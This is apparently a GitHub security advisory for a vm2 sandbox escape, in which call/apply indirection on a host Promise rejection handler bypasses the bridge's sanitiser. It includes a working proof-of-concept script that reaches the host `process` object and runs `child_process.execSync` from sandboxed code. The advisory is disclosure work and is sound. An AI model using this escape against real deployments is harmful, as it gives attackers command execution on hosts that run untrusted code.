GHSA-647f-g98j-qq25

## Summary

Untrusted JavaScript run by vm2 can escape the sandbox and execute arbitrary commands in the host Node.js process when an embedder-exposed host Promise rejects. This is an incomplete fix for GHSA-m283-3h24-438v: the advisory's capability-bearing rejection rebuild runs only through this direct Promise-handler path, so call/apply indirection bypasses the protection it introduced. The bridge sanitises host rejection values before sandbox callbacks run, but the gate at `lib/bridge.js:1624` identity-checks only the direct call target. Registering the rejection handler through `Function.prototype.call` indirection, `p.then.call(p, undefined, cb)`, makes the intercepted target host `Function.prototype.call`, so the sanitiser never runs and the raw host error reaches the sandbox (`lib/bridge.js:1639`) without the rebuild that strips host references carried by its own properties (`lib/setup-sandbox.js:2104`). A rejection error whose own property references a powerful host object, for example `err.detail = process`, therefore reaches sandbox code as a fully functional proxy, and `e.detail.mainModule.require('child_process').execSync(...)` executes with host privileges. The `.apply` form and a stacked `call.call` behave identically.

## PoC

Save as `poc.js` and run `node poc.js`:

```js const { VM } = require('vm2'); const vm = new VM({ sandbox: { fetchUser: async () => { const err = new Error('db connection failed'); err.detail = process; // embedder-attached host reference throw err; }, }}); vm.run(` const p = fetchUser(1); // proxy of the host Promise p.then.call(p, undefined, (e) => { // .call indirection skips the sanitiser e.detail.mainModule.require('child_process') .execSync('echo vm2-escape-proof > /tmp/poc.proof'); }); `); ```

### Observed output

```shell $ cat /tmp/poc.proof vm2-escape-proof ```

Registering the same callback directly, `p.then(undefined, cb)`, strips `detail` and no command runs; the `bind` and `Reflect.apply` forms are sanitised as well, isolating the bypass to `call` and `apply` indirection.

## Impact

Any deployment that evaluates attacker-controlled code with vm2 and exposes a host-realm Promise to the sandbox is affected: an async host function bridged through the `sandbox` option, or a NodeVM external module's async method. If that Promise rejects with an Error carrying a non-primitive own property that references a host object, a diagnostic pattern the vm2 codebase itself documents as routine for Node libraries (`lib/setup-sandbox.js:1877`), a single submission yields arbitrary command execution in the host process with the host account's privileges, including file read and write, process spawning, and network access. In a multi-tenant service evaluating untrusted code, one submission compromises the worker process and every tenant it serves.